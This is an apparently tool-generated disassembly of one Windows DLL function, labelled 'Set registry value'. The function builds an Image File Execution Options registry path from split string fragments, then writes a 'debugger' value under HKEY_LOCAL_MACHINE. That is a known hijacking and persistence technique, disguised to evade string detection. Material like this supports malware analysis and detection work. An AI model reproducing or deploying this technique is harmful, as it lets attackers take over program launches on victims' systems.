Function at 0x180005d10
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xa0], rax
mov rbx, rcx
mov qword [rsp + 0x68], rcx
xor edi, edi
mov dword [rsp + 0x70], edi
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x60]
call fcn.180001c90
nop
lea rdx, [0x1800085d4]
lea rcx, [rbp - 0x50]
call fcn.180002300
mov rcx, rax
lea rdx, str.twar
call fcn.180002300
mov rcx, rax
lea rdx, str.eMic
call fcn.180002300
mov rcx, rax
lea rdx, str.roso
call fcn.180002300
mov rcx, rax
lea rdx, str.ftWi
call fcn.180002300
mov rcx, rax
lea rdx, str.ndow
call fcn.180002300
mov rcx, rax
lea rdx, [0x1800085a8]
call fcn.180002300
mov rcx, rax
lea rdx, str.TCur
call fcn.180002300
mov rcx, rax
lea rdx, [0x18000859c]
call fcn.180002300
mov rcx, rax
lea rdx, str.tVer
call fcn.180002300
mov rcx, rax
lea rdx, [0x180008590]
call fcn.180002300
mov rcx, rax
lea rdx, str.nIma
call fcn.180002300
mov rcx, rax
lea rdx, str.ge_Fi
call fcn.180002300
mov rcx, rax
lea rdx, str.le_Ex
call fcn.180002300
mov rcx, rax
lea rdx, str.ecuti
call fcn.180002300
mov rcx, rax
lea rdx, str.on_Op
call fcn.180002300
mov rcx, rax
lea rdx, [0x180008564]
call fcn.180002300
mov rcx, rax
lea rdx, [0x180008560]
call fcn.180002300
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180005e80
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.180002670
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
movdqa xmm1, xmmword [0x180008b00]
movdqu xmmword [rbp - 0x78], xmm1
mov byte [rsp + 0x78], 0
mov dword [rsp + 0x70], 2
movups xmmword [rsp + 0x50], xmm0
mov rcx, qword [rbp + 0x28]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x180005ee1
mov rax, qword [rbp - 8]
mov r8, qword [rax]
test r8, r8
je 0x180005ee1
mov rax, qword [rbp - 0x28]
mov rdx, qword [rax]
cmp r8, qword [rbp + 0x20]
cmovb r8, qword [rbp + 0x20]
sub r8, rdx
jmp 0x180005f12
test cl, 4
jne 0x180005f08
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
test rcx, rcx
je 0x180005f08
mov rax, qword [rbp - 0x30]
mov rdx, qword [rax]
mov rax, qword [rbp + 8]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x180005f12
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
test rdx, rdx
je 0x180005f22
lea rcx, [rsp + 0x78]
call fcn.1800021a0
nop
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0xf
cmova rdx, qword [rsp + 0x78]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [rsp + 0x28], 1
lea rax, [0x1800085d8]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.debugger
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x180005fd8
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005fd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180005fd3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800028ac
movdqa xmm0, xmmword [0x180008b00]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x48]
call fcn.180001bd0
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x180006064
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18000605f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180006097
mov rcx, r8
call fcn.1800028ac
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.180002850
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3